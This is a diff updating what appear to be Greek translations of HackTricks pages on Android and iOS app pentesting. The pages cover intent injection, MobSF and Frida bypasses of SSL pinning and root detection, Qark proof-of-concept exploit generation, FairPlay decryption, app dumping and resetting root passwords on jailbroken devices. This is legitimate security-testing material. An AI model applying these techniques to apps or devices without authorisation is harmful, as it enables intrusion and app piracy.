+Το Android παρέχει έναν τρόπο να **αποτρέψει τη λήψη στιγμιότυπων οθόνης ρυθμίζοντας την παράμετρο διάταξης FLAG_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, το περιεχόμενο του παραθύρου θεωρείται ασφαλές, αποτρέποντας την εμφάνιση σε στιγμιότυπα οθόνης ή την προβολή σε μη ασφαλείς οθόνες.
 ```bash
 getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 ```
@@ -486,16 +486,16 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 
 Οι προγραμματιστές συχνά δημιουργούν proxy components όπως activities, services και broadcast receivers που χειρίζονται αυτά τα Intents και τα περνούν σε μεθόδους όπως `startActivity(...)` ή `sendBroadcast(...)`, οι οποίες μπορεί να είναι επικίνδυνες.
 
-Ο κίνδυνος έγκειται στην επιτρεπτικότητα στους επιτιθέμενους να ενεργοποιούν μη εξαγώγιμα components εφαρμογών ή να έχουν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το component `WebView` που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες εισαγωγές Intent.
+Ο κίνδυνος έγκειται στην επιτρεπτικότητα στους επιτιθέμενους να ενεργοποιούν μη εξαγόμενα components εφαρμογών ή να έχουν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το component `WebView` που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες εισαγωγές Intent.
 
 ### Βασικά Σημεία
 
 - **Εισαγωγή Intent** είναι παρόμοια με το πρόβλημα Open Redirect του ιστού.
 - Οι εκμεταλλεύσεις περιλαμβάνουν την παράδοση αντικειμένων `Intent` ως extras, τα οποία μπορούν να ανακατευθυνθούν για να εκτελέσουν μη ασφαλείς λειτουργίες.
-- Μπορεί να εκθέσει μη εξαγώγιμα components και content providers στους επιτιθέμενους.
+- Μπορεί να εκθέσει μη εξαγόμενα components και content providers στους επιτιθέμενους.
 - Η μετατροπή URL σε `Intent` του `WebView` μπορεί να διευκολύνει ακούσιες ενέργειες.
 
-### Εισαγωγές Client Side Android και άλλα
+### Εισαγωγές Πελάτη Android και άλλες
 
 Πιθανώς γνωρίζετε για αυτούς τους τύπους ευπαθειών από τον Ιστό. Πρέπει να είστε ιδιαίτερα προσεκτικοί με αυτές τις ευπάθειες σε μια εφαρμογή Android:
 
@@ -520,10 +520,10 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 docker pull opensecurity/mobile-security-framework-mobsf
 docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 ```
-Σημειώστε ότι το MobSF μπορεί να αναλύσει εφαρμογές **Android**(apk)**, IOS**(ipa) **και Windows**(apx) (_Οι εφαρμογές Windows πρέπει να αναλύονται από ένα MobSF εγκατεστημένο σε έναν υπολογιστή Windows_).\
-Επίσης, αν δημιουργήσετε ένα **ZIP** αρχείο με τον πηγαίο κώδικα μιας εφαρμογής **Android** ή **IOS** (πηγαίνετε στον ριζικό φάκελο της εφαρμογής, επιλέξτε τα πάντα και δημιουργήστε ένα ZIP αρχείο), θα μπορέσει να το αναλύσει επίσης.
+Σημειώστε ότι το MobSF μπορεί να αναλύσει **Android**(apk)**, IOS**(ipa) **και Windows**(apx) εφαρμογές (_Οι εφαρμογές Windows πρέπει να αναλύονται από ένα MobSF εγκατεστημένο σε έναν υπολογιστή Windows_).\
+Επίσης, αν δημιουργήσετε ένα **ZIP** αρχείο με τον πηγαίο κώδικα μιας **Android** ή **IOS** εφαρμογής (πηγαίνετε στον ριζικό φάκελο της εφαρμογής, επιλέξτε τα πάντα και δημιουργήστε ένα ZIP αρχείο), θα μπορέσει να το αναλύσει επίσης.
 
-Το MobSF επιτρέπει επίσης την ανάλυση **diff/Compare** και την ενσωμάτωση του **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο.
+Το MobSF επιτρέπει επίσης την **diff/Compare** ανάλυση και την ενσωμάτωση του **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο.
 
 ### Βοηθητική Δυναμική ανάλυση με το MobSF
 
@@ -538,11 +538,11 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 
 **Frida**
 
-Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια σενάρια Frida για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\
+Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida Scripts για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\
 Το MobSF μπορεί επίσης να **καλέσει εξαγόμενες δραστηριότητες**, να τραβήξει **screenshots** από αυτές και να τις **αποθηκεύσει** για την αναφορά.
 
-Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα σενάρια Frida και το "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
-Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των σενάριων σας στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα σενάρια** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των σεναρίων μέσα στο "**Frida Live Logs**").
+Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και το "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
+Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των Frida scripts σας στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στο "**Frida Live Logs**").
 
 ![](<../../images/image (419).png>)
 
@@ -559,7 +559,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 
 **Shell**
 
-Το MobSF σας παρέχει επίσης ένα shell με κάποιες εντολές **adb**, **εντολές MobSF**, και κοινές **εντολές shell** στο κάτω μέρος της σελίδας δυναμικής ανάλυσης. Ορισμένες ενδιαφέρουσες εντολές:
+Το MobSF σας παρέχει επίσης ένα shell με κάποιες **adb** εντολές, **MobSF commands**, και κοινές **shell** **εντολές** στο κάτω μέρος της σελίδας δυναμικής ανάλυσης. Ορισμένες ενδιαφέρουσες εντολές:
 ```bash
 help
 shell ls
@@ -576,7 +576,7 @@ receivers
 Αφού ολοκληρώσετε την δυναμική ανάλυση με το MobSF, μπορείτε να πατήσετε το "**Start Web API Fuzzer**" για να **fuzz http αιτήματα** και να αναζητήσετε ευπάθειες.
 
 > [!NOTE]
-> Μετά την εκτέλεση μιας δυναμικής ανάλυσης με το MobSF, οι ρυθμίσεις proxy μπορεί να είναι λανθασμένες και δεν θα μπορείτε να τις διορθώσετε από το GUI. Μπορείτε να διορθώσετε τις ρυθμίσεις proxy κάνοντας:
+> Μετά την εκτέλεση μιας δυναμικής ανάλυσης με το MobSF, οι ρυθμίσεις του proxy μπορεί να είναι λανθασμένες και δεν θα μπορείτε να τις διορθώσετε από το GUI. Μπορείτε να διορθώσετε τις ρυθμίσεις του proxy κάνοντας:
 >
 > ```
 > adb shell settings put global http_proxy :0
@@ -595,7 +595,7 @@ receivers
 
 ### [Qark](https://github.com/linkedin/qark)
 
-Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" deployable APK** και **ADB εντολές**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν χρειάζεται να κάνετε root τη συσκευή δοκιμής.
+Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" deployable APK** και **ADB εντολές**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν υπάρχει ανάγκη να κάνετε root τη συσκευή δοκιμής.
 ```bash
 pip3 install --user qark  # --user is only needed if not using a virtualenv
 qark --apk path/to/my.apk
@@ -615,11 +615,11 @@ reverse-apk relative/path/to/APP.apk
 ```
 ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
 
-Το SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, που αναλύει αρχεία _.apk_ αναζητώντας ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας τα APK και εφαρμόζοντας μια σειρά κανόνων για να ανιχνεύσει αυτές τις ευπάθειες.
+Το SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, η οποία αναλύει αρχεία _.apk_ αναζητώντας ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας τα APK και εφαρμόζοντας μια σειρά κανόνων για να ανιχνεύσει αυτές τις ευπάθειες.
 
-Όλοι οι κανόνες είναι κεντραρισμένοι σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή δοκιμαστής θα μπορούσε να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται.
+Όλοι οι κανόνες είναι κεντραρισμένοι σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή δοκιμαστής μπορεί να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται.
 
-Κατεβάστε τα τελευταία δυαδικά αρχεία από τη [σελίδα λήψης](https://superanalyzer.rocks/download.html)
+Κατεβάστε τα τελευταία δυαδικά από τη [σελίδα λήψης](https://superanalyzer.rocks/download.html)
 ```
 super-analyzer {apk_file}
 ```
@@ -627,7 +627,7 @@ super-analyzer {apk_file}
 
 ![](<../../images/image (297).png>)
 
-Το StaCoAn είναι ένα **crossplatform** εργαλείο που βοηθά προγραμματιστές, κυνηγούς bugbounty και ηθικούς χάκερ να εκτελούν [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) σε κινητές εφαρμογές.
+Το StaCoAn είναι ένα **crossplatform** εργαλείο που βοηθά προγραμματιστές, κυνηγούς bug bounty και ηθικούς χάκερ να εκτελούν [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) σε κινητές εφαρμογές.
 
 Η έννοια είναι ότι σύρετε και αποθέτετε το αρχείο της κινητής σας εφαρμογής (ένα αρχείο .apk ή .ipa) στην εφαρμογή StaCoAn και θα δημιουργήσει μια οπτική και φορητή αναφορά για εσάς. Μπορείτε να προσαρμόσετε τις ρυθμίσεις και τις λίστες λέξεων για να αποκτήσετε μια εξατομικευμένη εμπειρία.
 
@@ -696,7 +696,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 
 ### [DeGuard](http://apk-deguard.com)
 
-**Το DeGuard αναστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
+**Το DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
 
 Μπορείτε να ανεβάσετε ένα αποκρυπτογραφημένο APK στην πλατφόρμα τους.
 
@@ -706,15 +706,15 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 
 ### [Simplify](https://github.com/CalebFenton/simplify)
 
-Είναι ένα **γενικό εργαλείο αποκωδικοποίησης android.** Το Simplify **εκτελεί εικονικά μια εφαρμογή** για να κατανοήσει τη συμπεριφορά της και στη συνέχεια **προσπαθεί να βελτιστοποιήσει τον κώδικα** έτσι ώστε να συμπεριφέρεται ταυτόχρονα αλλά να είναι πιο εύκολο για έναν άνθρωπο να κατανοήσει. Κάθε τύπος βελτιστοποίησης είναι απλός και γενικός, οπότε δεν έχει σημασία ποιος είναι ο συγκεκριμένος τύπος απόκρυψης που χρησιμοποιείται.
+Είναι ένα **γενικό εργαλείο αποκωδικοποίησης android.** Το Simplify **εκτελεί εικονικά μια εφαρμογή** για να κατανοήσει τη συμπεριφορά της και στη συνέχεια **προσπαθεί να βελτιστοποιήσει τον κώδικα** ώστε να συμπεριφέρεται ταυτόχρονα αλλά να είναι πιο εύκολο για έναν άνθρωπο να κατανοήσει. Κάθε τύπος βελτιστοποίησης είναι απλός και γενικός, οπότε δεν έχει σημασία ποιος είναι ο συγκεκριμένος τύπος απόκρυψης που χρησιμοποιείται.
 
 ### [APKiD](https://github.com/rednaga/APKiD)
 
-Το APKiD σας δίνει πληροφορίες για **το πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **εργαλεία απόκρυψης** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android.
+Το APKiD σας δίνει πληροφορίες για **το πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android.
 
 ### Manual
 
-[Διαβάστε αυτό το tutorial για να μάθετε μερικά κόλπα σχετικά με **το πώς να αναστρέψετε την προσαρμοσμένη απόκρυψη**](manual-deobfuscation.md)
+[Διαβάστε αυτό το tutorial για να μάθετε μερικά κόλπα σχετικά με **το πώς να αντιστρέψετε την προσαρμοσμένη απόκρυψη**](manual-deobfuscation.md)
 
 ## Labs
 

src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md

@@ -21,7 +21,7 @@ $ ioreg -p IOUSB -l | grep "USB Serial"
 $ brew install ideviceinstaller
 $ idevice_id -l
 ```
-- **Χρησιμοποιώντας το `system_profiler`:**
+- **Χρησιμοποιώντας `system_profiler`:**
 ```bash
 $ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
 ```
@@ -38,11 +38,11 @@ $ instruments -s devices
 $ iproxy 2222 22
 $ ssh -p 2222 root@localhost
 ```
-**Εφαρμογές shell στη συσκευή**, όπως το NewTerm 2, διευκολύνουν την άμεση αλληλεπίδραση με τη συσκευή, ιδιαίτερα χρήσιμες για την αντιμετώπιση προβλημάτων. **Reverse SSH shells** μπορούν επίσης να δημιουργηθούν για απομακρυσμένη πρόσβαση από τον υπολογιστή-οικοδεσπότη.
+**Εφαρμογές shell στην συσκευή**, όπως το NewTerm 2, διευκολύνουν την άμεση αλληλεπίδραση με τη συσκευή, ιδιαίτερα χρήσιμες για την αποσφαλμάτωση. **Reverse SSH shells** μπορούν επίσης να δημιουργηθούν για απομακρυσμένη πρόσβαση από τον υπολογιστή-οικοδεσπότη.
 
 ### **Επαναφορά Ξεχασμένων Κωδικών Πρόσβασης**
 
-Για να επαναφέρετε έναν ξεχασμένο κωδικό πρόσβασης στην προεπιλογή (`alpine`), είναι απαραίτητο να επεξεργαστείτε το αρχείο `/private/etc/master.passwd`. Αυτό περιλαμβάνει την αντικατάσταση του υπάρχοντος hash με το hash για `alpine` δίπλα στις εγγραφές χρηστών `root` και `mobile`.
+Για να επαναφέρετε έναν ξεχασμένο κωδικό πρόσβασης πίσω στην προεπιλογή (`alpine`), είναι απαραίτητο να επεξεργαστείτε το αρχείο `/private/etc/master.passwd`. Αυτό περιλαμβάνει την αντικατάσταση του υπάρχοντος hash με το hash για `alpine` δίπλα στις εγγραφές χρηστών `root` και `mobile`.
 
 ## **Τεχνικές Μεταφοράς Δεδομένων**
 
@@ -54,13 +54,13 @@ tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-
 exit
 scp -P 2222 root@localhost:/tmp/data.tgz .
 ```
-### **Εργαλεία Γραφικής Διεπαφής**
+### **Γραφικά Εργαλεία Διεπαφής Χρήστη**
 
-**Χρησιμοποιώντας το iFunbox και το iExplorer:** Αυτά τα εργαλεία GUI είναι χρήσιμα για τη διαχείριση αρχείων σε συσκευές iOS. Ωστόσο, από την έκδοση iOS 8.4, η Apple περιορίζει την πρόσβαση αυτών των εργαλείων στο sandbox της εφαρμογής εκτός αν η συσκευή είναι jailbroken.
+**Χρησιμοποιώντας το iFunbox και το iExplorer:** Αυτά τα εργαλεία GUI είναι χρήσιμα για τη διαχείριση αρχείων σε συσκευές iOS. Ωστόσο, από την έκδοση iOS 8.4, η Apple περιορίζει την πρόσβαση αυτών των εργαλείων στο sandbox εφαρμογών εκτός αν η συσκευή είναι jailbroken.
 
 ### **Χρησιμοποιώντας το Objection για Διαχείριση Αρχείων**
 
-**Διαδραστική Σκηνή με το Objection:** Η εκκίνηση του objection παρέχει πρόσβαση στον κατάλογο Bundle μιας εφαρμογής. Από εδώ, μπορείτε να πλοηγηθείτε στον κατάλογο Documents της εφαρμογής και να διαχειριστείτε αρχεία, συμπεριλαμβανομένης της λήψης και της αποστολής τους προς και από τη συσκευή iOS.
+**Διαδραστική Γραμμή Εντολών με το Objection:** Η εκκίνηση του objection παρέχει πρόσβαση στον κατάλογο Bundle μιας εφαρμογής. Από εδώ, μπορείτε να πλοηγηθείτε στον κατάλογο Documents της εφαρμογής και να διαχειριστείτε αρχεία, συμπεριλαμβανομένης της λήψης και της αποστολής τους προς και από τη συσκευή iOS.
 ```bash
 objection --gadget com.apple.mobilesafari explorer
 cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
@@ -70,7 +70,7 @@ file download <filename>
 
 ### **Απόκτηση του Αρχείου IPA**
 
-**Σύνδεσμος Διανομής Over-The-Air (OTA):** Οι εφαρμογές που διανέμονται για δοκιμή μέσω OTA μπορούν να ληφθούν χρησιμοποιώντας το εργαλείο downloader περιουσιακών στοιχείων υπηρεσιών ITMS, το οποίο εγκαθίσταται μέσω npm και χρησιμοποιείται για να αποθηκεύσει το αρχείο IPA τοπικά.
+**Σύνδεσμος Διανομής Over-The-Air (OTA):** Οι εφαρμογές που διανέμονται για δοκιμή μέσω OTA μπορούν να ληφθούν χρησιμοποιώντας το εργαλείο downloader asset των υπηρεσιών ITMS, το οποίο εγκαθίσταται μέσω npm και χρησιμοποιείται για να αποθηκεύσει το αρχείο IPA τοπικά.
 ```bash
 npm install -g itms-services
 itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
@@ -82,7 +82,7 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so
 
 ### **Διαδικασία Αποκρυπτογράφησης**
 
-**Επισκόπηση Χειροκίνητης Αποκρυπτογράφησης:** Τα δυαδικά αρχεία εφαρμογών iOS είναι κρυπτογραφημένα από την Apple χρησιμοποιώντας το FairPlay. Για να γίνει αντίστροφη μηχανική, πρέπει να γίνει dump του αποκρυπτογραφημένου δυαδικού αρχείου από τη μνήμη. Η διαδικασία αποκρυπτογράφησης περιλαμβάνει τον έλεγχο της σημαίας PIE, την προσαρμογή των σημαιών μνήμης, την αναγνώριση της κρυπτογραφημένης ενότητας και στη συνέχεια την εξαγωγή και αντικατάσταση αυτής της ενότητας με τη μορφή της αποκρυπτογραφημένης.
+**Επισκόπηση Χειροκίνητης Αποκρυπτογράφησης:** Τα δυαδικά αρχεία εφαρμογών iOS είναι κρυπτογραφημένα από την Apple χρησιμοποιώντας FairPlay. Για να γίνει αντίστροφη μηχανική, πρέπει να γίνει dump του αποκρυπτογραφημένου δυαδικού αρχείου από τη μνήμη. Η διαδικασία αποκρυπτογράφησης περιλαμβάνει τον έλεγχο της σημαίας PIE, την προσαρμογή των σημαιών μνήμης, την αναγνώριση της κρυπτογραφημένης ενότητας και στη συνέχεια την εξαγωγή και αντικατάσταση αυτής της ενότητας με τη μορφή της αποκρυπτογράφησης.
 
 **Έλεγχος και Τροποποίηση Σημαίας PIE:**
 ```bash
@@ -92,7 +92,7 @@ otool -Vh Hello_World
 ```
 **Εντοπισμός Κρυπτογραφημένου Τμήματος και Εκχύλιση Μνήμης:**
 
-Καθορίστε τις διευθύνσεις αρχής και τέλους του κρυπτογραφημένου τμήματος χρησιμοποιώντας `otool` και εκχυλίστε τη μνήμη από τη jailbroken συσκευή χρησιμοποιώντας gdb.
+Καθορίστε τις διευθύνσεις έναρξης και λήξης του κρυπτογραφημένου τμήματος χρησιμοποιώντας `otool` και εκχυλίστε τη μνήμη από τη jailbroken συσκευή χρησιμοποιώντας gdb.
 ```bash
 otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
 dump memory dump.bin 0x8000 0x10a4000
@@ -103,27 +103,27 @@ dump memory dump.bin 0x8000 0x10a4000
 ```bash
 dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
 ```
-**Ολοκλήρωση Αποκρυπτογράφησης:** Τροποποιήστε τα μεταδεδομένα του δυαδικού αρχείου για να υποδείξετε την απουσία κρυπτογράφησης χρησιμοποιώντας εργαλεία όπως το **MachOView**, ρυθμίζοντας το `cryptid` σε 0.
+**Τελικοί Σταθμοί Αποκρυπτογράφησης:** Τροποποιήστε τα μεταδεδομένα του δυαδικού αρχείου για να υποδείξετε την απουσία κρυπτογράφησης χρησιμοποιώντας εργαλεία όπως το **MachOView**, ρυθμίζοντας το `cryptid` σε 0.
 
 ### **Αποκρυπτογράφηση (Αυτόματα)**
 
 #### **frida-ios-dump**
 
-Το [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) εργαλείο χρησιμοποιείται για **αυτόματη αποκρυπτογράφηση και εξαγωγή εφαρμογών** από συσκευές iOS. Αρχικά, πρέπει να ρυθμιστεί το `dump.py` για να συνδεθεί με τη συσκευή iOS, κάτι που μπορεί να γίνει μέσω localhost στη θύρα 2222 μέσω **iproxy** ή απευθείας μέσω της διεύθυνσης IP της συσκευής και της θύρας.
+Το [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) εργαλείο χρησιμοποιείται για **αυτόματη αποκρυπτογράφηση και εξαγωγή εφαρμογών** από συσκευές iOS. Αρχικά, πρέπει να ρυθμιστεί το `dump.py` για να συνδεθεί με τη συσκευή iOS, κάτι που μπορεί να γίνει μέσω localhost στην πόρτα 2222 μέσω **iproxy** ή απευθείας μέσω της διεύθυνσης IP της συσκευής και της πόρτας.
 
 Οι εφαρμογές που είναι εγκατεστημένες στη συσκευή μπορούν να απαριθμηθούν με την εντολή:
 ```bash
 $ python dump.py -l
 ```
-Για να εκτελέσετε dump μιας συγκεκριμένης εφαρμογής, όπως το Telegram, χρησιμοποιείται η εξής εντολή:
+Για να εκχυλίσετε μια συγκεκριμένη εφαρμογή, όπως το Telegram, χρησιμοποιείται η εξής εντολή:
 ```bash
 $ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
 ```
-Αυτή η εντολή ξεκινά τη διαδικασία dump της εφαρμογής, με αποτέλεσμα τη δημιουργία ενός αρχείου `Telegram.ipa` στον τρέχοντα φάκελο. Αυτή η διαδικασία είναι κατάλληλη για jailbroken συσκευές, καθώς οι μη υπογεγραμμένες ή ψευδώς υπογεγραμμένες εφαρμογές μπορούν να επανεγκατασταθούν χρησιμοποιώντας εργαλεία όπως το [**ios-deploy**](https://github.com/ios-control/ios-deploy).
+Αυτή η εντολή ξεκινά τη διαδικασία εξαγωγής της εφαρμογής, με αποτέλεσμα τη δημιουργία ενός αρχείου `Telegram.ipa` στον τρέχοντα φάκελο. Αυτή η διαδικασία είναι κατάλληλη για jailbroken συσκευές, καθώς οι μη υπογεγραμμένες ή ψευδώς υπογεγραμμένες εφαρμογές μπορούν να επανεγκατασταθούν χρησιμοποιώντας εργαλεία όπως το [**ios-deploy**](https://github.com/ios-control/ios-deploy).
 
 #### **flexdecrypt**
 
-Το [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) εργαλείο, μαζί με το wrapper του [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), επιτρέπει την εξαγωγή αρχείων IPA από εγκατεστημένες εφαρμογές. Οι εντολές εγκατάστασης για το **flexdecrypt** στη συσκευή περιλαμβάνουν τη λήψη και εγκατάσταση του πακέτου `.deb`. Το **flexdump** μπορεί να χρησιμοποιηθεί για να καταγράψει και να εξάγει εφαρμογές, όπως φαίνεται στις παρακάτω εντολές:
+Το εργαλείο [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), μαζί με το wrapper του [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), επιτρέπει την εξαγωγή αρχείων IPA από εγκατεστημένες εφαρμογές. Οι εντολές εγκατάστασης για το **flexdecrypt** στη συσκευή περιλαμβάνουν τη λήψη και εγκατάσταση του πακέτου `.deb`. Το **flexdump** μπορεί να χρησιμοποιηθεί για να καταγράψει και να εξάγει εφαρμογές, όπως φαίνεται στις παρακάτω εντολές:
 ```bash
 apt install zip unzip
 wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
@@ -138,7 +138,7 @@ bagbak --raw Chrome
 ```
 #### **r2flutch**
 
-**r2flutch**, χρησιμοποιώντας τόσο το radare όσο και το frida, εξυπηρετεί για την αποκρυπτογράφηση και την εξαγωγή εφαρμογών. Περισσότερες πληροφορίες μπορείτε να βρείτε στη [**σελίδα GitHub**](https://github.com/as0ler/r2flutch).
+**r2flutch**, αξιοποιώντας τόσο το radare όσο και το frida, χρησιμοποιείται για την αποκρυπτογράφηση και την εξαγωγή εφαρμογών. Περισσότερες πληροφορίες μπορείτε να βρείτε στη [**σελίδα GitHub**](https://github.com/as0ler/r2flutch).
 
 ### **Εγκατάσταση Εφαρμογών**
 
@@ -158,13 +158,13 @@ bagbak --raw Chrome
 
 #### **Επιτρέψτε την Εγκατάσταση Εφαρμογών σε Συσκευές που δεν είναι iPad**
 
-Για να εγκαταστήσετε εφαρμογές που είναι ειδικές για iPad σε συσκευές iPhone ή iPod touch, η τιμή **UIDeviceFamily** στο αρχείο **Info.plist** πρέπει να αλλάξει σε **1**. Αυτή η τροποποίηση, ωστόσο, απαιτεί την επαναυπογραφή του αρχείου IPA λόγω ελέγχων επικύρωσης υπογραφής.
+Για να εγκαταστήσετε εφαρμογές που προορίζονται για iPad σε συσκευές iPhone ή iPod touch, η τιμή **UIDeviceFamily** στο αρχείο **Info.plist** πρέπει να αλλάξει σε **1**. Αυτή η τροποποίηση, ωστόσο, απαιτεί την επαναυπογραφή του αρχείου IPA λόγω ελέγχων επικύρωσης υπογραφής.
 
 **Σημείωση**: Αυτή η μέθοδος μπορεί να αποτύχει αν η εφαρμογή απαιτεί δυνατότητες που είναι αποκλειστικές για νεότερα μοντέλα iPad ενώ χρησιμοποιείτε παλαιότερο iPhone ή iPod touch.
 
 ## Αναφορές
 
-- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
